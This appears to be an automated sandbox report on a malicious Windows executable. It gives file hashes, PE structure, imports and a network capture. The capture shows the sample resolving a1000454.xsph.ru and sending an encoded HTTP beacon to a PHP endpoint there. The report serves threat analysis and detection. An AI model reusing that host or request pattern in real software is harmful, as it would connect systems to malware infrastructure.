SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.391456273409441
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	jx2eCe6ymR.exe
File size:	2'793'785 bytes
MD5:	22acd327c5273659a31e56d94cefed20
SHA1:	0c3534ab1f3f2fbc3b2410b50c0bd3450e8b7e20
SHA256:	b56d3e6d1b59e49bbec7d67b46efdabcd4f63113d4937e713c017a5c8307c1f9
SHA512:	046edff80da24dd5a8a4717c8f4059967faea2d82b45270e93c1386ca7ac27031aad61ce7552a26aef1ae1c59afad969602f1f72ae497817500ff6b43f605724
SSDEEP:	49152:fcg4fLmoCxQVw7OocLXGQ7xEnei4LnuINVRtEOmksWP1gPJ:fr4fLmdWzxLB7ineruitaRWmPJ
TLSH:	61D5BF023E44CD02F43816F7C6BB956847B09D4466A6E31B79FA376EE5E23932C0D5CA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'..

File Icon


Icon Hash:	c6cc697979b1122c

Static PE Info

General

Entrypoint:	0x412756
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FC684D7 [Tue Dec 1 18:00:55 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	069407361307fa34b23ade96ab2d8363

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00401000h
call 00007F1EB8D83E26h
call far 5DE5h : 8B10C483h
jmp 00007F1EB91C538Bh
push edx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x370020	0x34	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x370054	0x214	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xad000	0x43d08	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x370000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x32000	0x1b200	8481e669aab81e08de3ee5b427b0928d	False	0.9993969614055299	data	7.997999837838605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x33000	0xb000	0x4400	702a1c6bbfd84b020b4249f38ae96811	False	0.9948874080882353	data	7.9809272065343855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x3e000	0x24000	0x600	2cf4fc30c5f6663602b3c9cd7c6643e0	False	0.9934895833333334	data	7.762099562039917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x62000	0x1000	0x200	081ba205ad69797343f4ede48131d038	False	0.44140625	data	3.720855706704169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x63000	0x47000	0x2600	8bcb923031b003b694a69ac3da4e45f3	False	0.9840666118421053	data	7.946596284771744	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0xaa000	0x3000	0x2000	224fa943b3413f9a001ea152204e2990	False	0.9510498046875	data	7.824543447059476	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xad000	0x44000	0x43e00	637556b0b0f083067f43283c0eeccded	False	0.09130409760589318	data	2.6042008901508584	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0xf1000	0x27f000	0x2ba00	8a164078c9da39e9c8bbeb9326b57fb4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x370000	0xe6000	0xe5400	5d2fd0710db7895659f4383770d0ab65	False	0.9968583867230099	data	7.979622857766893	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x63524	0xb45	data	English	United States	1.0038128249566725
PNG	0x6406c	0x15a9	data	English	United States	0.9732078204199855
RT_ICON	0xad524	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 262144, resolution 2834 x 2834 px/m			0.08222623309761222
RT_DIALOG	0xa7640	0x286	empty	English	United States	0
RT_DIALOG	0xa78c8	0x13a	empty	English	United States	0
RT_DIALOG	0xa7a04	0xec	empty	English	United States	0
RT_DIALOG	0xa7af0	0x12e	empty	English	United States	0
RT_DIALOG	0xa7c20	0x338	empty	English	United States	0
RT_DIALOG	0xa7f58	0x252	empty	English	United States	0
RT_STRING	0xef54c	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0xef730	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0xef8fc	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0xefab4	0x146	data	English	United States	0.5153374233128835
RT_STRING	0xefbfc	0x446	data	English	United States	0.340036563071298
RT_STRING	0xf0044	0x166	data	English	United States	0.49162011173184356
RT_STRING	0xf01ac	0x152	data	English	United States	0.5059171597633136
RT_STRING	0xf0300	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0xf040c	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0xf04c8	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0xf05a0	0x14	data			1.1
RT_MANIFEST	0xf05b4	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.39786666666666665

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
gdiplus.dll	GdiplusShutdown

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 23:52:06.250674009 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:06.256072998 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.256210089 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:06.256973982 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:06.262468100 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946135998 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946154118 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946207047 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:06.946209908 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946223974 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946233988 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946249008 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946259975 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:06.946293116 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:06.946341038 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946352959 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946383953 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:06.946407080 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946418047 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.946448088 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:06.951316118 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.951328039 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.951339006 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.951349020 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:06.951370955 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:06.951410055 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.061656952 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.061677933 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.061691046 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.061701059 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.061711073 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.061721087 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.061728954 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.061775923 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.061999083 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062139034 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062148094 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062186003 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.062192917 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062208891 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062220097 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062242031 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.062272072 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.062822104 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062832117 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062841892 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062851906 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062860012 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.062861919 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062872887 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.062877893 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.062906981 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.063565969 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.063611984 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.063621998 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.063649893 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.063714981 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.063725948 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.063735008 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.063760996 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.063786983 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.066515923 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.161218882 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.176834106 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.176879883 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.176892042 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.176928997 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.177109957 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.177119970 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.177130938 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.177148104 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.177175999 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.177226067 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.177237034 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.177246094 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.177256107 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.177265882 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.177270889 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.177277088 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.177289009 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.177318096 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.185278893 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.190206051 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396378994 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396404028 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396415949 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396462917 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.396475077 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396493912 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396505117 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396533966 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.396547079 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.396626949 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396686077 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396696091 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396723986 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.396780968 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.396914005 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.396981955 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397048950 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397059917 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397090912 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.397198915 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397208929 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397229910 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.397497892 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397541046 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397550106 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397559881 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.397577047 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.397706032 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397721052 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.397753954 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.398035049 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.398046017 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.398075104 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.398137093 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.398147106 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.398158073 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.398168087 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.398192883 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.398196936 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.398220062 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.398258924 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.398269892 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.398291111 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.399493933 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399529934 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399540901 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399569988 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.399660110 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399669886 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399679899 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399689913 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399698973 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.399713993 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.399782896 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399794102 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399837971 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.399900913 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399939060 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399950027 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.399981976 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.400032043 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.400042057 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.400068045 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.400115013 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.400125027 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.400135040 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.400145054 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.400146008 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.400171041 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.401010990 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.401022911 CEST	80	49711	141.8.192.58	192.168.2.6
Jul 3, 2024 23:52:07.401048899 CEST	49711	80	192.168.2.6	141.8.192.58
Jul 3, 2024 23:52:07.410928965 CEST	49711	80	192.168.2.6	141.8.192.58

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 23:52:06.192828894 CEST	52759	53	192.168.2.6	1.1.1.1
Jul 3, 2024 23:52:06.244581938 CEST	53	52759	1.1.1.1	192.168.2.6
Jul 3, 2024 23:52:27.689173937 CEST	53	61605	162.159.36.2	192.168.2.6
Jul 3, 2024 23:52:28.180948019 CEST	65244	53	192.168.2.6	1.1.1.1
Jul 3, 2024 23:52:28.195694923 CEST	53	65244	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 23:52:06.192828894 CEST	192.168.2.6	1.1.1.1	0xd23d	Standard query (0)	a1000454.xsph.ru	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:52:28.180948019 CEST	192.168.2.6	1.1.1.1	0xeab4	Standard query (0)	56.126.166.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 23:52:06.244581938 CEST	1.1.1.1	192.168.2.6	0xd23d	No error (0)	a1000454.xsph.ru		141.8.192.58	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:52:28.195694923 CEST	1.1.1.1	192.168.2.6	0xeab4	Name error (3)	56.126.166.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

a1000454.xsph.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	141.8.192.58	80	6412	C:\providerReviewperfsvc\Idle.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:52:06.256973982 CEST	523	OUT	GET /L1nc0In.php?e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF&8228d7c483384ae54368123d64aa93df=360e60b3d586218aa1c996837564f7dd&61e56f83cf389d328f5351f3b54d3707=gN0QjN5EzNwYTO2ITYiNGO4gzMiJWZ0IjYmRWMjRTM5YGNxETZhVTM&e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: a1000454.xsph.ru Connection: Keep-Alive
Jul 3, 2024 23:52:06.946135998 CEST	1236	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 03 Jul 2024 21:52:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d [TRUNCATED] Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-betwe [TRUNCATED]
Jul 3, 2024 23:52:06.946154118 CEST	224	IN	Data Raw: 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b Data Ascii: tify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height:450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inlin
Jul 3, 2024 23:52:06.946209908 CEST	1236	IN	Data Raw: 65 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 69 6e 6c 69 6e 65 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 3b 2d Data Ascii: e-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-moz-box-orient:vertical;-moz-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.wra
